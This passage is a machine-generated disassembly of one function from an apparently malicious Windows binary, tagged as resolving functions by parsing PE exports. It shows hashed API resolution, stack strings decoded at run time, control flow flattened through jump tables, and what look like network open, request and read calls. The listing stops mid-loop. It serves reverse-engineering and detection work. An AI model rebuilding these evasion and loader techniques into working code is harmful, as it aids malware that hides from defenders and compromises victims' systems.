Function at 0x40f262
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x198
mov edi, dword [0x454bc8]
mov dword [esp + 0x118], 0x3f3e3138
mov byte [esp + 0x11c], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 4
ja 0x40ecd1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
movzx eax, byte [esp + eax + 0x118]
push dword [esp + 0x18]
push eax
call fcn.00411620
add esp, 8
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0x118], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 5
jb 0x40eca0
mov esi, dword [esp + 0x118]
mov dword [esp + 0x18], 0x11851f95
mov dword [esp + 0x1c], 0x158a138e
mov dword [esp + 0x20], 0x9821780
mov dword [esp + 0x24], 0xdd40b98
mov dword [esp + 0x28], 0x1920fe8
mov dword [esp + 0x2c], 0x502039c
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x17
ja 0x40ed46
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.004115a0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x18
jb 0x40ed20
lea ebp, [esp + 0x18]
push esi
push 0
push ebp
call edi
mov ecx, 0x454b90
push eax
call fcn.00445500
movzx eax, al
jmp dword [eax*4 + 0x44fa78]
xor ebx, ebx
jmp 0x40f545
push 0xe2bceb04
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454b98], eax
push 0x248106fa
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454b9c], eax
push 0x89b8457d
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454ba0], eax
push 0x44f824fb
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454ba4], eax
push 0xf072343c
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454ba8], eax
push 0x638f2392
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bac], eax
push 0xd711af57
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bb0], eax
push 0x1ad145e2
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bb4], eax
jmp dword [0x44fa80]
mov eax, dword [esp + 4]
mov byte [esp + eax + 0x118], dh
inc eax
mov edx, dword [esp + 0x10]
mov dword [esp + 4], eax
cmp eax, edx
mov eax, 0
setb al
jmp dword [eax*4 + 0x44fb68]
jmp ebp
mov eax, dword [esp + 4]
mov dh, byte [esi + eax + 0x22]
movsx eax, dh
mov dword [esp + 8], eax
mov dl, dh
add dl, 0x9f
xor eax, eax
cmp dl, 0x1a
setb al
jmp dword [eax*4 + 0x44fb88]
jmp edi
mov eax, dword [esp + 8]
add eax, 0xffffffae
mov dword [esp + 8], eax
mov edx, 0x4ec4ec4f
imul edx
mov eax, edx
shr eax, 0x1f
shr edx, 3
add edx, eax
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
add eax, edx
mov edx, dword [esp + 8]
sub edx, eax
mov dh, dl
add dh, 0x61
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
mov dword [esp + 0x18], 0x6e5e5e04
mov dword [esp + 0x1c], 0x5f652d5e
mov dword [esp + 0x20], 0xa515661
mov dword [esp + 0x24], 0x2f1d6422
mov dword [esp + 0x28], 0x1c22182d
mov dword [esp + 0x2c], 0x2424182c
mov dword [esp + 0x30], 0x14172323
mov dword [esp + 0x34], 0xe371426
mov dword [esp + 0x38], 0xae6b4e
mov dword [esp + 0x118], 0
mov eax, dword [esp + 0x118]
cmp eax, 0x23
ja case.0x40f3b4.3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x118]
movzx eax, byte [esp + eax + 0x18]
push dword [esp + 0x118]
push eax
call fcn.00411710
add esp, 8
mov ecx, dword [esp + 0x118]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 0x118]
mov eax, dword [esp + 0x118]
cmp eax, 0x24
jb 0x40ef40
mov dword [esp + 0x18], 0x6e5e5e04
mov dword [esp + 0x1c], 0x5f652d5e
mov dword [esp + 0x20], 0xa515661
mov dword [esp + 0x24], 0x2f1d6422
mov dword [esp + 0x28], 0x1c22182d
mov dword [esp + 0x2c], 0x2424182c
mov dword [esp + 0x30], 0x14172323
mov dword [esp + 0x34], 0xe371426
mov dword [esp + 0x38], 0xae6b4e
mov dword [esp + 0x118], 0
mov eax, dword [esp + 0x118]
cmp eax, 0x23
ja 0x40f01a
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x118]
movzx eax, byte [esp + eax + 0x18]
push dword [esp + 0x118]
push eax
call fcn.00411710
add esp, 8
mov ecx, dword [esp + 0x118]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 0x118]
mov eax, dword [esp + 0x118]
cmp eax, 0x24
jb 0x40efe0
mov eax, dword [esp + 0xc]
movzx edx, byte [esp + 0x18]
test dl, dl
je 0x40f050
mov ecx, edi
mov esi, eax
jmp 0x40f037
movzx edx, byte [ecx]
test dl, dl
je 0x40f060
mov dh, byte [eax]
test dh, dh
je 0x40f058
inc eax
inc ecx
lea ebp, [esi + 1]
cmp dh, dl
je 0x40f04a
mov esi, ebp
mov eax, ebp
je 0x40f030
mov ecx, edi
jmp 0x40f030
mov esi, eax
jmp dword [0x44fb40]
xor esi, esi
jmp dword [0x44fb40]
jmp dword [0x44fb40]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44fb48]
jmp dword [0x44fb54]
mov dword [0x454bbc], eax
push 0x6b702a5b
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bc0], eax
push 0xc135ffae
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bc4], eax
xor ebx, ebx
xor eax, eax
cmp ebx, 0x24
setne al
xor ecx, ecx
jmp dword [eax*4 + 0x44fa90]
mov dword [esp + 4], ecx
mov edi, dword [ecx + 0x44da2c]
jmp dword [0x44fa9c]
movzx ecx, word [esp + 0x18]
mov eax, 0x454bcc
test cx, cx
je 0x40f111
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40f100
mov word [eax], 0
mov ecx, dword [case.0x40f1ef.4]
nop
nop
nop
nop
xor eax, eax
mov bl, 1
jmp ecx
mov ecx, dword [esp + 4]
jmp dword [eax*4 + 0x44fb00]
add ecx, 4
mov eax, dword [case.0x40f1ef.19]
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
cmp ecx, 0x24
setne al
jmp dword [eax*4 + 0x44fa90]
jmp dword [0x44fab4]
lea edi, [esp + 0x117]
nop
nop
nop
cmp byte [edi + 1], 0
lea edi, [edi + 1]
jne 0x40f170
mov dword [esp], 0
mov eax, ebp
cmp esi, edi
jae 0x40f1da
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x40f1d0
mov eax, esp
push eax
push edi
push esi
call fcn.00411440
add esp, 0xc
movzx edx, word [esp]
lea ecx, [ebp + 2]
mov word [esp + ebp + 0x18], dx
cmp ebp, 0xfb
ja 0x40f1be
add esi, eax
mov ebp, ecx
cmp esi, edi
jb 0x40f190
lea eax, [esp + ecx]
add eax, 0x18
jmp 0x40f1d6
lea eax, [esp + ebp]
add eax, 0x18
lea ebp, [esp + 0x18]
mov word [eax], 0
lea eax, [esp + 0x18]
push eax
call fcn.0040f6b0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44fac8]
mov ecx, dword [case.0x40f1ef.4]
nop
nop
nop
nop
mov eax, 1
jmp ecx
lea eax, [esp + 0x118]
push eax
push edi
call fcn.00440200
add esp, 8
lea esi, [esp + 0x118]
push esi
push edi
call fcn.00440200
add esp, 8
jmp dword [0x44faa4]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44fb18]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
mov eax, dword [case.0x40f1ef.24]
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x18], 0x3faa3990
mov dword [esp + 0x1c], 0x23b23da8
mov dword [esp + 0x20], 0x27f821b7
mov dword [esp + 0x24], 0x2bf925f7
mov dword [esp + 0x28], 0x2fba29bf
mov dword [esp + 0x2c], 0x13b32d89
mov dword [esp + 0x30], 0x17b111bd
mov dword [esp + 0x34], 0x1bb71587
mov dword [esp + 0x38], 0x1f8b19b5
mov dword [esp + 0x3c], 0x3ab1d8e
mov dword [esp + 0x40], 0x79f0194
mov dword [esp + 0x44], 0xbad05d6
mov dword [esp + 0x48], 0xfa3099b
mov dword [esp + 0x4c], 0xf3620ddf
mov dword [esp + 0x50], 0xf765f166
mov dword [esp + 0x54], 0xfb53f55e
mov dword [esp + 0x58], 0xff5bf954
mov dword [esp + 0x5c], 0xe331fd6b
mov dword [esp + 0x60], 0xe73ce13b
mov dword [esp + 0x64], 0xeb30e531
mov dword [esp + 0x68], 0xef3fe939
mov dword [esp + 0x6c], 0xd30bed35
mov dword [esp + 0x70], 0xd700d10b
mov dword [esp + 0x74], 0xdb0dd500
mov dword [esp + 0x78], 0xdf0fd90f
mov dword [esp + 0x7c], 0xc312dd05
mov dword [esp + 0x80], 0xc7c6c110
mov byte [esp + 0x84], 0
mov dword [esp + 0x118], 0
mov eax, dword [esp + 0x118]
cmp eax, 0x6c
ja 0x40f39a
nop
nop
nop
nop
mov eax, dword [esp + 0x118]
movzx eax, byte [esp + eax + 0x18]
push dword [esp + 0x118]
push eax
call fcn.00411690
add esp, 8
mov ecx, dword [esp + 0x118]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 0x118]
mov eax, dword [esp + 0x118]
cmp eax, 0x6d
jb 0x40f360
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
lea edi, [esp + 0x18]
push eax
push ecx
push edi
call fcn.0040fc40
add esp, 0xc
movzx eax, al
jmp dword [eax*4 + 0x44fb30]
jmp 0x40f534
jmp dword [0x44fb3c]
movzx ecx, byte [esp + 0x18]
mov eax, esi
test cl, cl
je 0x40f405
lea edx, [esp + 0x18]
mov ebp, esi
mov eax, esi
jmp 0x40f3e7
movzx ecx, byte [edx]
test cl, cl
je 0x40f405
mov ch, byte [ebp]
test ch, ch
je 0x40f403
inc ebp
inc edx
lea edi, [eax + 1]
cmp ch, cl
je 0x40f3fb
mov eax, edi
mov ebp, edi
je 0x40f3e0
lea edx, [esp + 0x18]
jmp 0x40f3e0
xor eax, eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44fb60]
mov byte [eax], 0
mov edx, 0xffffffff
nop
nop
nop
nop
nop
mov eax, edx
cmp byte [esi + edx + 0x23], 0
lea edx, [edx + 1]
jne case.default.0x40f456
mov ebp, dword [case.0x40f4ef.275]
mov edi, dword [case.0x40f4ef.270]
mov ecx, dword [case.0x40f4ef.274]
mov dword [esp + 4], 0
xor eax, eax
cmp eax, edx
mov eax, 0
setb al
mov dword [esp + 0x10], edx
jmp dword [eax*4 + 0x44fb68]
mov byte [esp + edx + 0x118], 0
lea edi, [esp + 0x117]
nop
nop
nop
nop
cmp byte [edi + 1], 0
lea edi, [edi + 1]
jne 0x40f470
mov dword [esp], 0
lea ecx, [esp + 0x18]
lea ebp, [esp + 0x118]
mov eax, ecx
cmp ebp, edi
jae 0x40f4de
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp], 0
je 0x40f4d4
mov eax, esp
push eax
push edi
push ebp
call fcn.00411440
add esp, 0xc
movzx edx, word [esp]
lea ecx, [esi + 2]
mov word [esp + esi + 0x18], dx
cmp esi, 0x7b
ja 0x40f4cc
add ebp, eax
mov esi, ecx
cmp ebp, edi
jb 0x40f4a0
lea eax, [esp + ecx]
add eax, 0x18
jmp 0x40f4da
lea eax, [esp + esi]
add eax, 0x18
lea ecx, [esp + 0x18]
mov word [eax], 0
push ecx
call fcn.0040f6b0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44fb70]
jmp case.0x40f3b4.6
movzx ecx, word [esp + 0x18]
mov eax, 0x454bcc
test cx, cx
je 0x40f521
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40f510
mov word [eax], 0
mov bl, 1
push dword [esp + 0xc]
call fcn.00443d30
add esp, 4
mov eax, dword [case.0x40f1ef.21]
nop
nop
nop
nop
nop
nop
nop
jmp eax
and bl, 1
mov eax, ebx
add esp, 0x198
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x18], 0xa9a7ead8
mov dword [esp + 0x1c], 0xe52455b7
mov dword [esp + 0x20], 0
mov dword [esp + 0x118], 0
mov eax, dword [esp + 0x118]
cmp eax, 0xb
ja 0x40f5ca
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x118]
movzx eax, byte [esp + eax + 0x18]
push dword [esp + 0x118]
push eax
call fcn.00411780
add esp, 8
mov ecx, dword [esp + 0x118]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 0x118]
mov eax, dword [esp + 0x118]
cmp eax, 0xc
jb 0x40f590
jmp dword [0x44fb5c]
mov dword [esp + 0x18], 0xa9a7ead8
mov dword [esp + 0x1c], 0xe52455b7
mov dword [esp + 0x20], 0
mov dword [esp + 0x118], 0
mov eax, dword [esp + 0x118]
cmp eax, 0xb
ja case.0x40f3b4.9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x118]
movzx eax, byte [esp + eax + 0x18]
push dword [esp + 0x118]
push eax
call fcn.00411780
add esp, 8
mov ecx, dword [esp + 0x118]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 0x118]
mov eax, dword [esp + 0x118]
cmp eax, 0xc
jb 0x40f610
jmp case.0x40f3b4.9
push 0xedb83653
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bb8], eax
push 0xe9e47300
push dword [0x454b90]
call fcn.00449760
add esp, 8
push 0xedb83653
push dword [0x454b90]
call fcn.00449760
add esp, 8
mov dword [0x454bb8], eax
push 0xe9e47300
push dword [0x454b90]
call fcn.00449760
add esp, 8
jmp dword [0x44fa8c]
int3
xor eax, eax
jmp 0x410308
mov edi, dword [0x454b98]
mov dword [esi + 0x60], 0x21b72753
mov dword [esi + 0x64], 0x5db923aa
mov dword [esi + 0x68], 0x59ca5fc8
mov dword [esi + 0x6c], 0x550b5b3b
mov dword [esi + 0x70], 0x5100571b
mov dword [esi + 0x74], 0x4d725300
mov dword [esi + 0x78], 0x49274f14
mov dword [esi + 0x7c], 0x45dc4bd3
mov dword [esi + 0x80], 0x41d747d8
mov dword [esi + 0x84], 0x7dcf43c9
mov dword [esi + 0x88], 0x79087f5c
mov dword [esi + 0x8c], 0x755a7b14
mov dword [esi + 0x90], 0x71267727
mov dword [esi + 0x94], 0x6d227326
mov dword [esi + 0x98], 0x694e6f29
mov dword [esi + 0x9c], 0x65f16b01
mov dword [esi + 0xa0], 0x612867f2
mov dword [esi + 0xa4], 0x9d27632c
mov dword [esi + 0xa8], 0x99169fbc
mov dword [esi + 0xac], 0x95d69bd6
mov dword [esi + 0xb0], 0x91b697cf
mov dword [esi + 0xb4], 0x8d0293d3
mov dword [esi + 0xb8], 0x891a8f1c
mov dword [esi + 0xbc], 0x85e38b17
mov dword [esi + 0xc0], 0x81e4871b
mov dword [esi + 0xc4], 0xbd1983f5
mov dword [esi + 0xc8], 0xb9efbf30
mov dword [esi + 0xcc], 0xb5f7bbf7
mov dword [esi + 0xd0], 0xb1e0b7fd
mov dword [esi + 0xd4], 0xadfcb3fd
mov dword [esi + 0xd8], 0xa9f6af8c
mov dword [esi + 0xdc], 0xa5d2abdd
mov dword [esi + 0xe0], 0xa1d1a7c8
mov dword [esi + 0xe4], 0xddf6a3d4
mov dword [esi + 0xe8], 0xd94adffc
mov dword [esi + 0xec], 0xd54fdb43
mov dword [esi + 0xf0], 0xd1f6d74b
mov dword [esi + 0xf4], 0xcd4dd3a9
mov dword [esi + 0xf8], 0xc95bcf51
mov dword [esi + 0xfc], 0xc591cb59
mov dword [esi + 0x100], 0xc1bbc7e4
mov dword [esi + 0x104], 0xfd50c358
mov dword [esi + 0x108], 0xf969ff6d
mov dword [esi + 0x10c], 0xf5abfb67
mov dword [esi + 0x110], 0xf1a5f7a7
mov dword [esi + 0x114], 0xeda4f3bb
mov dword [esi + 0x118], 0xe9b8efbc
mov dword [esi + 0x11c], 0xe5bcebb8
mov dword [esi + 0x120], 0xe1c6e7b4
mov dword [esi + 0x124], 0x1d81e38d
mov dword [esi + 0x128], 0x197d1f82
mov dword [esi + 0x12c], 0x15811b8a
mov dword [esi + 0x130], 0x11591745
mov dword [esi + 0x134], 0xd5b135d
mov dword [esi + 0x138], 0x9430f5a
mov dword [esi + 0x13c], 0x50a0b46
mov dword [esi + 0x10], 0
mov eax, dword [esi + 0x10]
cmp eax, 0xdf
ja 0x40ff68
nop
nop
nop
nop
mov eax, dword [esi + 0x10]
movzx eax, byte [esi + eax + 0x60]
push dword [esi + 0x10]
push eax
call fcn.00412110
add esp, 8
mov ecx, dword [esi + 0x10]
mov byte [esi + ecx + 0x60], al
inc dword [esi + 0x10]
mov eax, dword [esi + 0x10]
cmp eax, 0xe0
jb 0x40ff40
lea eax, [esi + 0x60]
push 0
push 0
push 0
push 0
push eax
call edi
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44fbe8]
xor ecx, ecx
xor ebx, ebx
jmp 0x4102f9
mov dword [esi + 0x20], eax
jmp dword [0x44fbf4]
mov eax, dword [esi + 0x38]
mov edx, eax
and edx, 2
mov ecx, eax
or eax, 2
imul eax, edx
xor edx, 2
and ecx, 0xfffffffd
imul ecx, edx
lea edx, [ecx + eax]
add eax, ecx
add eax, 3
and eax, 0xfffffffc
call fcn.0040c8f0
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov dword [esi + 0x18], eax
mov ecx, dword [esi + 0x34]
mov dword [esi + 8], ecx
mov ecx, edx
shr ecx, 2
mov ebx, edx
and ebx, 0xfffffffc
lea edi, [eax + ebx]
mov dword [esi + 0xc], edi
mov edi, dword [esi + 8]
add ebx, edi
mov dword [esi + 8], edi
mov edi, eax
mov eax, dword [esi + 8]
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
shr edx, 1
and edx, 1
mov edi, dword [esi + 0xc]
mov ecx, edx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x18]
mov word [eax + ecx*2], 0
movzx ecx, word [esi + 0x3c]
push 0
push ecx
push eax
push dword [esi + 0x20]
call dword [0x454b9c]
nop
nop
mov eax, dword [esi + 0x38]
mov edx, eax
and edx, 2
mov ecx, eax
or eax, 2
imul eax, edx
xor edx, 2
and ecx, 0xfffffffd
imul ecx, edx
lea ebx, [ecx + eax]
add eax, ecx
add eax, 3
and eax, 0xfffffffc
call fcn.0040c8f0
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov dword [esi + 0x18], eax
mov ecx, dword [esi + 0x34]
mov dword [esi + 8], ecx
mov ecx, ebx
shr ecx, 2
mov edx, ebx
and edx, 0xfffffffc
lea edi, [eax + edx]
mov dword [esi + 0xc], edi
mov edi, dword [esi + 8]
add edx, edi
mov dword [esi + 8], edi
mov edi, eax
mov eax, dword [esi + 8]
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
shr ebx, 1
and ebx, 1
mov edi, dword [esi + 0xc]
mov ecx, ebx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x18]
mov word [eax + ecx*2], 0
movzx ecx, word [esi + 0x3c]
push 0
push ecx
push eax
push dword [esi + 0x20]
call dword [0x454b9c]
jmp dword [0x44fbfc]
mov edi, eax
xor eax, eax
test edi, edi
setne al
mov dword [esi + 0xc], 0
xor ebx, ebx
jmp dword [eax*4 + 0x44fc00]
jmp dword [0x44fc08]
nop
nop
nop
jmp dword [0x44fc14]
mov eax, dword [0x454ba0]
mov dword [esi + 0xc], eax
xor eax, eax
cmp dword [esi + 0x30], 2
sete al
jmp dword [eax*4 + 0x44fc18]
mov dword [esi + 8], 0
jmp 0x41014c
mov dword [esi + 0x60], 0x93129190
mov word [esi + 0x64], 0
mov byte [esi + 0x66], 0
mov dword [esi + 0x10], 0
mov eax, dword [esi + 0x10]
cmp eax, 6
ja 0x410146
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x10]
movzx eax, byte [esi + eax + 0x60]
push dword [esi + 0x10]
push eax
call fcn.00412200
add esp, 8
mov ecx, dword [esi + 0x10]
mov byte [esi + ecx + 0x60], al
inc dword [esi + 0x10]
mov eax, dword [esi + 0x10]
cmp eax, 7
jb 0x410120
mov eax, dword [esi + 0x60]
mov dword [esi + 8], eax
mov ebx, dword [esi + 0x50]
mov dword [esi + 0x10], 0x134f114f
mov dword [esi + 0x14], 0x6f6e6dc0
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x1c]
cmp eax, 7
ja 0x410196
nop
nop
nop
nop
mov eax, dword [esi + 0x1c]
movzx eax, byte [esi + eax + 0x10]
push dword [esi + 0x1c]
push eax
call fcn.00412190
add esp, 8
mov ecx, dword [esi + 0x1c]
mov byte [esi + ecx + 0x10], al
inc dword [esi + 0x1c]
mov eax, dword [esi + 0x1c]
cmp eax, 8
jb 0x410170
lea eax, [esi + 0x10]
push dword [esi + 8]
push 0
push 0
push 0
push ebx
push eax
push edi
call dword [esi + 0xc]
mov ebx, eax
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44fc20]
xor ebx, ebx
mov dword [esi + 0xc], 0
jmp dword [0x44fc60]
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
call dword [0x454bb0]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
jmp dword [ecx*4 + 0x44fc28]
push 0
push ebx
call dword [0x454bb4]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
jmp dword [ecx*4 + 0x44fc30]
mov dword [esi + 0x60], 0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], ebx
jmp case.0x40ff7d.24
mov dword [esi + 0x10], 0
mov edx, eax
add edx, ebx
mov dword [esi + 8], eax
lea ecx, [esi + 0x10]
push ecx
push dword [esi + 0x60]
push edx
push dword [esi + 0x18]
call dword [0x454bbc]
add ebx, dword [esi + 0x10]
mov dword [esi + 0xc], ebx
mov ebx, dword [esi + 0x18]
xor eax, eax
jmp dword [eax*4 + 0x44fc48]
lea eax, [esi + 0x60]
push eax
push ebx
call dword [0x454bb8]
test eax, eax
setne cl
mov eax, dword [esi + 0x60]
test eax, eax
setne dl
and dl, cl
movzx ecx, dl
jmp dword [ecx*4 + 0x44fc38]
mov ebx, dword [esi + 0xc]
add eax, ebx
inc eax
push eax
push dword [esi + 8]
call fcn.004466a0
add esp, 8
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44fc40]
mov ebx, dword [esi + 0x18]
mov eax, 1
jmp dword [eax*4 + 0x44fc48]
mov eax, dword [case.0x4101b1.2]
nop
nop
jmp eax
push ebx
call dword [0x454bc4]
mov ebx, dword [esi + 8]
jmp dword [0x44fc60]
push edi
call dword [0x454bc4]
nop
nop
nop
nop
nop
nop
nop
push edi
call dword [0x454bc4]
jmp dword [0x44fc6c]
push dword [esi + 0x20]
call dword [0x454bc4]
mov ecx, dword [esi + 0xc]
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
test ebx, ebx
setne al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
xor eax, eax
mov ecx, dword [ebp + 0x1c]
test ecx, ecx
setne al
xor edi, edi
mov esi, dword [ebp + 0x20]
jmp dword [eax*4 + 0x44fd20]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44fd28]
push ebx
call fcn.00443d30
add esp, 4
mov eax, dword [case.0x40ff7d.80]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44fd40]
mov dword [esi], edi
test ebx, ebx
setne al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [0x454b9c]
mov dword [ebp - 0x10], 0x6362602b
jmp dword [0x44fc78]
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x10c]
cmp eax, 3
ja case.0x40ff7d.36
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10c]
movzx eax, byte [ebp + eax - 0x10]
push dword [ebp - 0x10c]
push eax
call fcn.00411bd0
add esp, 8
mov ecx, dword [ebp - 0x10c]
mov byte [ebp + ecx - 0x10], al
inc dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
cmp eax, 4
jb 0x410640
jmp case.0x40ff7d.36
jmp dword [0x44fc80]
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x10c]
cmp eax, 3
ja 0x410680
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10c]
movzx eax, byte [ebp + eax - 0x10]
push dword [ebp - 0x10c]
push eax
call fcn.00411bd0
add esp, 8
mov ecx, dword [ebp - 0x10c]
mov byte [ebp + ecx - 0x10], al
inc dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
cmp eax, 4
jb 0x4106a0
jmp 0x410680
movzx eax, word [ebp - 0x10]
push 0
push eax
push edi
push dword [ebp - 0x28]
call ebx
xor ecx, ecx
mov dword [ebp - 0x24], eax
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44fc88]
xor edi, edi
xor ebx, ebx
jmp 0x410bb6
jmp dword [0x44fc90]
mov esi, dword [ebp - 0x20]
push esi
push ebx
call dword [0x454bb8]
test eax, eax
setne al
mov edi, dword [esi]
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44fcd0]
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
jmp dword [0x44fcd8]
add esi, dword [ebx]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x1c]
xor eax, eax
jmp dword [eax*4 + 0x44fd10]
mov dword [ebx], 0
add eax, esi
push ebx
mov ecx, dword [ebp - 0x20]
push dword [ecx]
push eax
push dword [ebp - 0x1c]
call dword [0x454bbc]
mov eax, edi
nop
nop
mov dword [ebx], 0
add eax, esi
push ebx
mov ecx, dword [ebp - 0x20]
push dword [ecx]
push eax
push dword [ebp - 0x1c]
call dword [0x454bbc]
mov eax, edi
jmp dword [0x44fd0c]
lea eax, [esi + edi]
inc eax
push eax
push ebx
call fcn.004466a0
add esp, 8
lea eax, [esi + edi]
inc eax
push eax
push ebx
call fcn.004466a0
add esp, 8
jmp dword [0x44fce0]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44fce8]
mov ebx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x18]
mov edi, eax
jmp dword [0x44fd00]
mov eax, dword [case.0x40ff7d.68]
mov ebx, dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, 1
jmp dword [eax*4 + 0x44fd10]
xor eax, eax
mov ecx, dword [ebp - 0x14]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44fd18]
mov edi, dword [ebp - 0x18]
jmp case.0x40ff7d.50
mov edi, dword [ebp - 0x18]
mov byte [ecx + edi], 0
jmp case.0x40ff7d.50
xor ecx, ecx
test eax, eax
setne cl
xor edi, edi
mov dword [ebp - 0x14], 0
jmp dword [ecx*4 + 0x44fcc8]
mov dword [esi], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], ebx
jmp 0x410713
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 0x910f9f59
mov dword [ebx + 4], 0x950f9301
mov dword [ebx + 8], 0x8931970f
mov dword [ebx + 0xc], 0x8d6a8b42
mov dword [ebx + 0x10], 0x812f8f2d
mov dword [ebx + 0x14], 0x85248325
mov dword [ebx + 0x18], 0x79198725
mov dword [ebx + 0x1c], 0x7ddb7bf1
mov dword [ebx + 0x20], 0x71f57fde
mov dword [ebx + 0x24], 0x75bd73e0
mov word [ebx + 0x28], 0x7774
mov dword [ebx + 0x2a], 0
mov word [ebx + 0x2e], 0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x10c]
cmp eax, 0x2f
ja 0x4108f3
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10c]
movzx eax, byte [ebx + eax]
push dword [ebp - 0x10c]
push eax
call fcn.00411d80
add esp, 8
mov ecx, dword [ebp - 0x10c]
mov byte [ebx + ecx], al
inc dword [ebp - 0x10c]
